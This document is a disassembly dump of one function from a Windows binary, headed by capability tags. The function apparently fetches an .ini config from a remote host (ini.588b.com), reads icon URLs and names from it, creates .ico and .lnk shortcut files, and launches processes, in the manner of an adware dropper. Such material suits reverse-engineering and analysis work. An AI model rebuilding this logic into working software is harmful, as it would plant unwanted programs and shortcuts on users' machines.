Function at 0x403340
Capabilities:
Check if file exists
Create process on windows
Delete file
Get common file path
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xfc
mov eax, dword [0x41413c]
xor eax, esp
mov dword [esp + 0xf8], eax
mov ecx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [esp + 0x68], eax
test ecx, ecx
je 0x403514
mov eax, ecx
lea esi, [eax + 2]
mov dx, word [eax]
add eax, 2
test dx, dx
jne 0x403374
sub eax, esi
sar eax, 1
cmp eax, 1
jb 0x403514
lea edx, [esp + 0x18]
push edx
call fcn.004029b0
lea eax, [esp + 0x38]
push eax
lea ecx, [esp + 0x1c]
call fcn.00401000
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4033c4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ebx, [esp + 0x38]
call fcn.00401380
mov eax, dword [esp + 0x38]
add eax, 0xfffffff0
call fcn.00402eb0
lea ecx, [esp + 0x10]
add eax, 0x10
push ecx
lea ecx, [esp + 0x18]
mov dword [esp + 0x18], eax
call fcn.004045e0
add esp, 4
lea edi, [esp + 0x14]
call fcn.00402a60
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40341a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
push 0x44
push eax
lea ecx, [esp + 0xc0]
push ecx
mov dword [esp + 0x50], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x58], eax
mov dword [esp + 0x5c], eax
call fcn.00405370
add esp, 0xc
push 0x412160
mov dword [esp + 0xbc], 0x44
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x403484
mov edi, dword [esp + 0x14]
lea edx, [esp + 0x44]
push edx
lea eax, [esp + 0xbc]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push 0x412160
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
jmp 0x4034e9
mov edx, dword [0x414fac]
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
call eax
add eax, 0x10
lea ebx, [esp + 0x18]
mov dword [esp + 0x18], eax
call fcn.00401de0
mov edi, dword [esp + 0x14]
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x44]
push ecx
lea edx, [esp + 0xbc]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
lea eax, [esi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4034e9
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403505
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0x38]
push ecx
call fcn.004010a0
jmp 0x403866
mov edx, dword [0x414fac]
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
call eax
lea ecx, [esp + 0x2c]
add eax, 0x10
push ecx
mov ecx, str.http:__ini.588b.com_ico_ico.ini
mov dword [esp + 0x18], eax
call fcn.004029b0
mov edx, dword [0x414fac]
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
call eax
mov edx, dword [0x414fac]
lea edi, [eax + 0x10]
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
mov dword [esp + 0xc], edi
call eax
mov edx, dword [0x414fac]
add eax, 0x10
mov dword [esp + 0x30], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
call eax
mov edx, dword [0x414fac]
lea esi, [eax + 0x10]
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
mov dword [esp + 0x20], esi
call eax
lea ebx, [eax + 0x10]
mov eax, dword [edi - 8]
mov ecx, 1
sub ecx, dword [edi - 4]
sub eax, 0x104
or eax, ecx
mov dword [esp + 0x18], ebx
jge 0x4035bc
mov ecx, 0x104
lea eax, [esp + 0xc]
call fcn.00401630
mov edi, dword [esp + 0xc]
push 0x104
push edi
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov eax, dword [ebx - 8]
mov ecx, 1
sub ecx, dword [ebx - 4]
sub eax, 0x104
or eax, ecx
jge 0x4035f0
mov ecx, 0x104
lea eax, [esp + 0x18]
call fcn.00401630
mov ebx, dword [esp + 0x18]
push ebx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov eax, dword [ebx - 8]
push eax
push ebx
call fcn.004050ee
add esp, 8
test eax, eax
jl 0x4043e4
cmp eax, dword [ebx - 8]
jg 0x4043e4
mov dword [ebx - 0xc], eax
xor ecx, ecx
mov word [ebx + eax*2], cx
mov eax, dword [edi - 8]
push eax
push edi
call fcn.004050ee
add esp, 8
test eax, eax
jl 0x4043e4
cmp eax, dword [edi - 8]
jg 0x4043e4
xor edx, edx
push 0x5c
mov dword [edi - 0xc], eax
push edi
mov word [edi + eax*2], dx
call fcn.0040516a
add esp, 8
test eax, eax
jne 0x403662
or ecx, 0xffffffff
mov dword [esp + 0x40], ecx
jmp 0x40366c
sub eax, edi
sar eax, 1
mov ecx, eax
mov dword [esp + 0x40], eax
mov eax, dword [edi - 0xc]
sub eax, ecx
lea ecx, [esp + 0xc]
push ecx
dec eax
lea ecx, [esp + 0x38]
call fcn.004044a0
mov ecx, dword [eax]
mov ebx, dword [esp + 0x30]
lea eax, [ecx - 0x10]
add ebx, 0xfffffff0
cmp eax, ebx
je 0x4036d8
cmp dword [ebx + 0xc], 0
jl 0x4036cb
mov edx, dword [eax]
cmp edx, dword [ebx]
jne 0x4036cb
call fcn.00402eb0
mov dword [esp + 0x10], eax
lea eax, [ebx + 0xc]
or ecx, 0xffffffff
lock xadd dword [eax], ecx
dec ecx
test ecx, ecx
jg 0x4036be
mov ecx, dword [ebx]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push ebx
call eax
mov ecx, dword [esp + 0x10]
add ecx, 0x10
mov dword [esp + 0x30], ecx
jmp 0x4036d8
mov ebx, dword [ecx - 0xc]
push ecx
lea eax, [esp + 0x34]
call fcn.00402e10
mov eax, dword [esp + 0x34]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4036f8
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [edi - 0xc]
mov ecx, dword [esp + 0x40]
lea edx, [esp + 0xc]
sub eax, ecx
push edx
call fcn.004043f0
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x14]
push ecx
mov ebx, str._temp.md
call fcn.00402b90
mov ecx, dword [eax]
add esp, 8
lea edi, [esp + 0x2c]
call fcn.00401b80
cmp eax, 1
mov eax, dword [esp + 0x10]
setb bl
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403753
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test bl, bl
je 0x403882
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.linkconfig.ini
call fcn.00402b90
mov eax, dword [eax]
add esp, 8
push eax
push str.NoPage
push str.error
push 0x4120c8
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringW]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4037aa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x18]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4037ca
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
or edx, 0xffffffff
lea ecx, [esi + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4037e6
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
mov eax, dword [esp + 0x30]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403806
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403826
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x2c]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403846
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x14]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403866
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0x104]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00404c1a
mov esp, ebp
pop ebp
ret 0x10
call fcn.00401f00
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.linkconfig.ini
call fcn.00402b90
mov eax, dword [eax]
add esp, 8
push eax
push 0
push str.Count
push str.Icon
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov dword [esp + 0x40], eax
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4038d7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str.linkconfig.ini
call fcn.00402b90
mov edi, dword [eax]
mov eax, dword [esi - 8]
mov ecx, 1
sub ecx, dword [esi - 4]
sub eax, 0x400
add esp, 8
or eax, ecx
jge 0x403916
mov ecx, 0x400
lea eax, [esp + 0x20]
call fcn.00401630
mov esi, dword [esp + 0x20]
push edi
push 0x400
push esi
push 0x4121c0
push str.ClearIco
push str.Config
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [esp + 0x10]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403952
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esi - 8]
push eax
push esi
call fcn.004050ee
add esp, 8
test eax, eax
jl 0x4043e4
cmp eax, dword [esi - 8]
jg 0x4043e4
xor ecx, ecx
mov dword [esi - 0xc], eax
lea edi, [esp + 0x14]
mov word [esi + eax*2], cx
call fcn.00401d10
mov dword [esp + 0x94], eax
test eax, eax
je 0x4039c1
mov eax, dword [esp + 0x14]
push ecx
add eax, 0xfffffff0
mov dword [esp + 0x3c], esp
mov edi, esp
call fcn.00402eb0
add eax, 0x10
mov dword [edi], eax
push ecx
lea eax, [esi - 0x10]
mov dword [esp + 0x40], esp
mov edi, esp
call fcn.00402eb0
add eax, 0x10
mov dword [edi], eax
call fcn.00402290
add esp, 8
push ecx
add esi, 0xfffffff0
mov dword [esp + 0x3c], esp
mov eax, esi
mov edi, esp
mov dword [esp + 0x3c], esi
call fcn.00402eb0
add eax, 0x10
mov dword [edi], eax
call fcn.004025f0
add esp, 4
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x70]
push eax
mov ebx, str._temp.md
call fcn.00402b90
mov eax, dword [eax]
add esp, 8
push eax
push 0
push str.Count
push str.Icon
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileIntW]
mov edi, eax
mov eax, dword [esp + 0x6c]
add eax, 0xfffffff0
mov dword [esp + 0xa8], edi
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403a38
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040500f
add esp, 4
call fcn.00405021
cdq
idiv edi
mov edi, 1
push 0
add edx, edi
mov dword [esp + 0x24], edx
call dword [sym.imp.ole32.dll_CoInitialize]
cmp dword [esp + 0x40], edi
mov dword [esp + 0x10], edi
jl 0x404323
mov ecx, dword [esp + 0xa8]
cmp dword [esp + 0x20], ecx
jle 0x403a85
mov dword [esp + 0x20], 1
mov edx, dword [0x414fac]
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
call eax
mov edx, dword [0x414fac]
add eax, 0x10
mov dword [esp + 0x24], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
call eax
mov edx, dword [0x414fac]
mov esi, eax
mov eax, dword [edx + 0xc]
add esi, 0x10
mov ecx, 0x414fac
mov dword [esp + 0x34], esi
call eax
mov edx, dword [0x414fac]
add eax, 0x10
mov dword [esp + 0x1c], eax
mov eax, dword [edx + 0xc]
mov ecx, 0x414fac
call eax
mov ecx, dword [esp + 0x20]
push ecx
add eax, 0x10
push str.Icon_d
lea edi, [esp + 0x30]
mov dword [esp + 0x30], eax
call fcn.004030b0
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xbc]
push eax
mov ebx, str._temp.md
call fcn.00402b90
mov edi, dword [eax]
mov eax, dword [esp + 0x34]
mov edx, dword [eax - 8]
mov ecx, 1
sub ecx, dword [eax - 4]
sub edx, 0x400
add esp, 0x10
or ecx, edx
jge 0x403b39
mov ecx, 0x400
lea eax, [esp + 0x24]
call fcn.00401630
mov ebx, dword [esp + 0x24]
push edi
mov edi, dword [esp + 0x2c]
push 0x400
push ebx
push 0x4121c0
push str.IcoUrl
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [esp + 0xb0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403b7c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebx - 8]
push eax
push ebx
call fcn.004050ee
add esp, 8
test eax, eax
jl 0x4043e4
cmp eax, dword [ebx - 8]
jg 0x4043e4
xor ecx, ecx
mov dword [ebx - 0xc], eax
mov word [ebx + eax*2], cx
cmp dword [ebx - 0xc], 1
jge 0x403c09
lea eax, [edi - 0x10]
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x403bc5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403be5
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
add esi, 0xfffffff0
lea ecx, [esi + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403c01
mov ecx, dword [esi]
mov eax, dword [ecx]
mov edx, dword [eax + 4]
push esi
call edx
lea eax, [ebx - 0x10]
jmp 0x4042f3
lea ecx, [esp + 0x44]
push ecx
lea ecx, [esp + 0x28]
call fcn.00401000
lea edx, [esp + 0x44]
push edx
call fcn.00401120
test eax, eax
jle 0x403c32
lea eax, [esp + 0x44]
lea edi, [esp + 0x24]
call fcn.00402a60
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x60]
push ecx
mov ebx, str._temp.md
call fcn.00402b90
mov ebx, dword [esp + 0x24]
mov edi, dword [eax]
mov eax, dword [ebx - 8]
mov edx, 1
sub edx, dword [ebx - 4]
sub eax, 0x32
add esp, 8
or edx, eax
jge 0x403c73
mov ecx, 0x32
lea eax, [esp + 0x1c]
call fcn.00401630
mov ebx, dword [esp + 0x1c]
push edi
mov edi, dword [esp + 0x2c]
push 0x32
push ebx
push 0x4121c0
push str.IcoName
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [esp + 0x5c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403cac
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [ebx - 8]
push eax
push ebx
call fcn.004050ee
add esp, 8
test eax, eax
jl 0x4043e4
cmp eax, dword [ebx - 8]
jg 0x4043e4
mov dword [ebx - 0xc], eax
xor ecx, ecx
mov word [ebx + eax*2], cx
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x90]
push eax
mov ebx, str._temp.md
call fcn.00402b90
mov edx, dword [esi - 8]
mov ebx, dword [eax]
mov ecx, 1
sub ecx, dword [esi - 4]
sub edx, 0x104
add esp, 8
or ecx, edx
jge 0x403d16
mov ecx, 0x104
lea eax, [esp + 0x34]
call fcn.00401630
mov esi, dword [esp + 0x34]
push ebx
push 0x104
push esi
push 0x4121c0
push 0x41213c
push edi
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov eax, dword [esp + 0x8c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403d51
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esi - 8]
push eax
push esi
call fcn.004050ee
add esp, 8
test eax, eax
jl 0x4043e4
cmp eax, dword [esi - 8]
jg 0x4043e4
mov dword [esi - 0xc], eax
xor ecx, ecx
mov word [esi + eax*2], cx
mov edi, dword [esp + 0x2c]
lea eax, [esi - 0x10]
add edi, 0xfffffff0
mov dword [esp + 0x34], eax
cmp eax, edi
je 0x403dcb
cmp dword [edi + 0xc], ecx
lea ebx, [edi + 0xc]
jl 0x403dbe
mov edx, dword [eax]
cmp edx, dword [edi]
jne 0x403dbe
call fcn.00402eb0
mov esi, eax
or eax, 0xffffffff
lock xadd dword [ebx], eax
dec eax
test eax, eax
jg 0x403db5
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
add esi, 0x10
mov dword [esp + 0x2c], esi
jmp 0x403dcb
mov ebx, dword [esi - 0xc]
push esi
lea eax, [esp + 0x30]
call fcn.00402e10
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x10]
push edx
lea eax, [esp + 0x5c]
push eax
mov ebx, 0x411f7c
call fcn.00402b90
lea ecx, [esp + 0xb0]
add esp, 8
push ecx
mov ebx, eax
call fcn.00404520
push eax
lea edx, [esp + 0x70]
push edx
mov ebx, str..ico
call fcn.00402b90
mov ecx, dword [eax]
add esp, 0x10
lea edi, [esp + 0x2c]
call fcn.00401b80
mov eax, dword [esp + 0x64]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e34
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xa4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e57
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403e77
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
cmp dword [esp + 0x94], 0
je 0x404061
lea ecx, [esp + 0x1c]
push ecx
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x68]
push eax
mov ebx, 0x411f7c
call fcn.00402b90
lea ecx, [esp + 0x64]
add esp, 8
push ecx
mov ebx, eax
call fcn.00404520
push eax
lea edx, [esp + 0xb8]
push edx
mov ebx, str..lnk
call fcn.00402b90
mov esi, dword [eax]
add esp, 0x10
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x8c]
push edx
mov ebx, 0x411f7c
call fcn.00402b90
lea ecx, [esp + 0xa8]
add esp, 8
push ecx
mov ebx, eax
call fcn.00404520
push eax
lea edx, [esp + 0x88]
push edx
mov ebx, str..ico
call fcn.00402b90
mov edi, dword [eax]
add esp, 0x10
lea eax, [esp + 0x30]
push eax
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0xbc]
push edx
mov ebx, 0x411f7c
call fcn.00402b90
lea ecx, [esp + 0x80]
add esp, 8
push ecx
mov ebx, eax
call fcn.00404520
mov edx, dword [esp + 0x2c]
mov eax, dword [eax]
add esp, 8
push esi
push edi
push edx
push eax
call fcn.00401760
mov esi, eax
mov eax, dword [esp + 0x74]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f6d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xb4]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403f90
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x7c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403fb0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x9c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403fd3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x84]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403ff6
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xac]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404019
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x58]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404039
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x60]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404059
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
jne 0x404281
mov esi, dword [esp + 0x20]
lea ecx, [esi + 0x81]
cmp ecx, 0x8c
jge 0x4040af
mov edi, dword [esp + 0x28]
mov eax, dword [edi - 8]
mov edx, 1
sub edx, dword [edi - 4]
sub eax, 0x41
or edx, eax
jge 0x40409b
mov ecx, 0x41
lea eax, [esp + 0x28]
call fcn.00401630
mov edi, dword [esp + 0x28]
mov ecx, dword [esp + 0x68]
push 0x40
push edi
sub esi, 0xffffff80
push esi
push ecx
call dword [sym.imp.USER32.dll_LoadStringW]
jmp 0x4040bc
lea ecx, [esp + 0x28]
call fcn.00401fa0
mov edi, dword [esp + 0x28]
mov eax, dword [edi - 8]
push eax
push edi
call fcn.004050ee
add esp, 8
test eax, eax
jl 0x4043e4
cmp eax, dword [edi - 8]
jg 0x4043e4
mov dword [edi - 0xc], eax
xor edx, edx
mov word [edi + eax*2], dx
lea eax, [esp + 0x24]
push eax
lea ecx, [esp + 0x34]
push ecx
lea edx, [esp + 0x14]
push edx
lea eax, [esp + 0xac]
push eax
mov ebx, 0x411f7c
call fcn.00402b90
lea ecx, [esp + 0xa8]
add esp, 8
push ecx
mov ebx, eax
call fcn.00404520
push eax
lea edx, [esp + 0xa0]
push edx
mov ebx, 0x41215c
call fcn.00402b90
lea ecx, [esp + 0x9c]
add esp, 0x10
push ecx
mov ebx, eax
call fcn.00404520
mov esi, dword [eax]
add esp, 8
lea edx, [esp + 0x1c]
push edx
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x88]
push ecx
mov ebx, 0x411f7c
call fcn.00402b90
lea edx, [esp + 0x84]
add esp, 8
push edx
mov ebx, eax
call fcn.00404520
push eax
lea eax, [esp + 0x7c]
push eax
mov ebx, str..ico
call fcn.00402b90
mov ecx, dword [eax]
mov edx, dword [esp + 0x2c]
add esp, 0x10
push ecx
push edx
mov ecx, esi
call fcn.00401820
mov eax, dword [esp + 0x70]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4041b0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x78]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4041d0
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x80]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4041f3
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x88]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404216
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x90]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404239
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x98]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40425c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0xa0]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x404285
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
jmp 0x404285
mov edi, dword [esp + 0x28]
inc dword [esp + 0x20]
lea ecx, [esp + 0x44]
push ecx
call fcn.004010a0
add edi, 0xfffffff0
lea edx, [edi + 0xc]
or eax, 0xffffffff
lock xadd dword [edx], eax
dec eax
test eax, eax
jg 0x4042af
mov ecx, dword [edi]
mov edx, dword [ecx]
mov eax, dword [edx + 4]
push edi
call eax
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4042cf
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x34]
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4042ec
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x24]
add eax, 0xfffffff0
or edx, 0xffffffff
lea ecx, [eax + 0xc]
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40430c
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, dword [esp + 0x10]
inc eax
cmp eax, dword [esp + 0x40]
mov dword [esp + 0x10], eax
jle 0x403a70
mov esi, dword [esp + 0x38]
push 0
push 0
push 0x2000
push 0x8000000
call dword [sym.imp.SHELL32.dll_SHChangeNotify]
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x3c]
push edx
mov ebx, str._temp.md
call fcn.00402b90
